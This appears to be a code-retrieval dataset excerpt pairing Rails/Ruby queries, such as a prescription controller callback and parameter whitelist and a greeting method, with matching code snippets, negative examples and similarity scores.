Use callbacks to share common setup or constraints between actions.
|
def set_electronic_prescription
@electronic_prescription = ElectronicPrescription.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def electronic_prescription_params
params.require(:electronic_prescription).permit(:transmission_number, :prescriber_spi_number, :prescriber_order_number, :prescriber_reference_number, :prescriber_reference_number_qualifier, :prescriber_clinic_name_extended, :prescriber_service_location, :prescriber_facility_qualifier, :prescriber_facility_code, :prescriber_claim_frequency, :prescriber_specialty, :prescriber_agency_qualifier, :prescriber_specialty_code, :prescriber_last_name, :prescriber_first_name, :prescriber_middle_name, :prescriber_suffix, :prescriber_prefix, :prescriber_zip_code, :prescriber_clinic_name, :prescriber_clinic_address1, :prescriber_clinic_address2, :prescriber_clinic_city, :prescriber_clinic_state, :prescriber_clinic_zip, :prescriber_phone_number, :prescriber_phone_number_qualifier, :prescriber_agent_last_name, :prescriber_agent_first_name, :prescriber_agent_middle_name, :prescriber_agent_suffix, :prescriber_agent_prefix, :patient_individual_relationship, :patient_birthdate, :patient_last_name, :patient_first_name, :patient_middle_name, :patient_suffix, :patient_prefix, :patient_gender, :patient_id_number, :patient_id_number_qualifier, :patient_address1, :patient_address2, :patientcity, :patient_state, :patient_zip, :patient_phone_number, :patient_phone_number_qualifier, :item_description, :item_number, :item_number_qualiifer, :item_dosage_form_code, :item_strength, :item_strength_quallifier, :item_database_code, :item_database_source, :item_name_long1, :item_name_long2, :item_name_long3, :item_form_source_code, :item_form_code, :item_strength_source_code, :item_drug_strength, :item_dea_schedule, :item_quantity_qualifier, :item_quantity, :item_quantity_list_qualiifer, :item_quantity_unit_source_code, :item_quantity_potency_code, :item_sig1, :item_sig2, :item_date_qualifier, :item_date, :item_date_format, :item_substitution_code, :item_refill_prescribed_qualifier, :item_refill_prescribed, :diagnosis_qualifier, :diagnosis_code, :prior_authorization_number, :prior_authorization_qualifier, :free_text, :dur_reason_code, :dur_professional_code, :dur_result_code, :coagent_id, :coagent_id_qualifier, :clinical_priority, :acknowledgement_reason, :coverage_status_code, :prior_authorization_status, :do_not_fill, :need_by_date_qualifier, :need_by_date, :need_by_date_format, :timezone_id, :timezon_different_quantity, :need_by_reason, :supervisor_spi_number, :supervisor_qualifier, :supervisor_facility_qualifier, :supervisor_facility_code, :supervisor_claim_frequency, :supervisor_specialty, :supervisor_agency_qualifier, :supervisor_specialty_code, :supervisor_last_name, :supervisor_first_name, :supervisor_middle_name, :supervisor_suffix, :supervisor_prefix, :supervisor_zip_code, :supervisor_clinic_name, :supervisor_clinic_address1, :supervisor_clinic_address2, :supervisor_clinic_city, :supervisor_clinic_state, :supervisor_clinic_zip, :supervisor_phone_number, :supervisor_phone_number_qualifier, :supervisor_agent_last_name, :supervisor_agent_first_name, :supervisor_agent_middle_name, :supervisor_agent_suffix, :supervisor_agent_prefix)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Greet displays a greeting.
|
def greet
puts '------------------------'
puts "Greetings to you #{@name}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def greet\n separator\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n separator\n end",
"def greet\n separator\n puts \"Welcome to #{pastel.bright_cyan('Groupie')}.\"\n puts \"Keep up with your favorite bands, never miss a show!\"\n puts \"Type #{pastel.bright_cyan('concerts')} to get started.\"\n separator\n end",
"def greeting_hello\n answer_with_message(\"Halo bos, ada yang bisa saya bantu ?\")\n end",
"def greet\n 'Ahoy Mateys!'\n end",
"def greet\n self.say \"Hello, I am #{@config[:nick]}. I am the resident uber-bot. To learn more, type '.about'.\"\n end",
"def greet\n puts \"# Welcome to Mastermind!\"\n puts \"# Good luck!\"\n end",
"def greets(name)\n puts \"hello #{name}, my name is #{@greeter_name}\"\n end",
"def greeting(name)\n\t\tputs \" Hi there #{name}, how are you doing today?\"\n\tend",
"def greeting\n system 'clear'\n puts WELCOME_MESSAGE\n end",
"def greeting\n\t\t#make a greeting for both student and teacher\n\t\tputs \"Hi, my name is #{@name}!\"\n\tend",
"def greet\n\t\tputs \"Hi, my name is #{@name}\"\n\tend",
"def greetings\n\tputs \"Greetings friend!\"\nend",
"def greeting(name)\n\tp \"hello\" + \" \" + name\nend",
"def greeting(name)\n\tp \"hello\" + \" \" + name\nend",
"def sayHi\n\t\tputs(greet)\n\tend",
"def greeting\n puts \"Welcome to the world of practical effects\"\n end",
"def greet_user\n greetings = %w[\n bonjour hola hallo sveiki namaste shalom salaam szia halo ciao\n ]\n first_name = message.from.nil? ? '' : ', ' + message.from.first_name\n send_message \"#{greetings.sample.capitalize}#{first_name}!\\n Enter /help for options.\"\n end",
"def greet\n puts \"Hello! My name is #{name}!\"\n end",
"def greeting\n\t\tputs \"Welcome to the Secret Number Game \\n\"\n\t\tputs \"Written by AxleMax\\n\\n\"\n\tend",
"def say_greeting\n\t\tgreeting = \"\\t\\t Welcome to the Virtual Crazy 8-Ball\" +\n\t\t\"game\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nPress Enter to \" +\n\t\t\"continue. \\n\\n: \"\n\t\tprint greeting\n\tend",
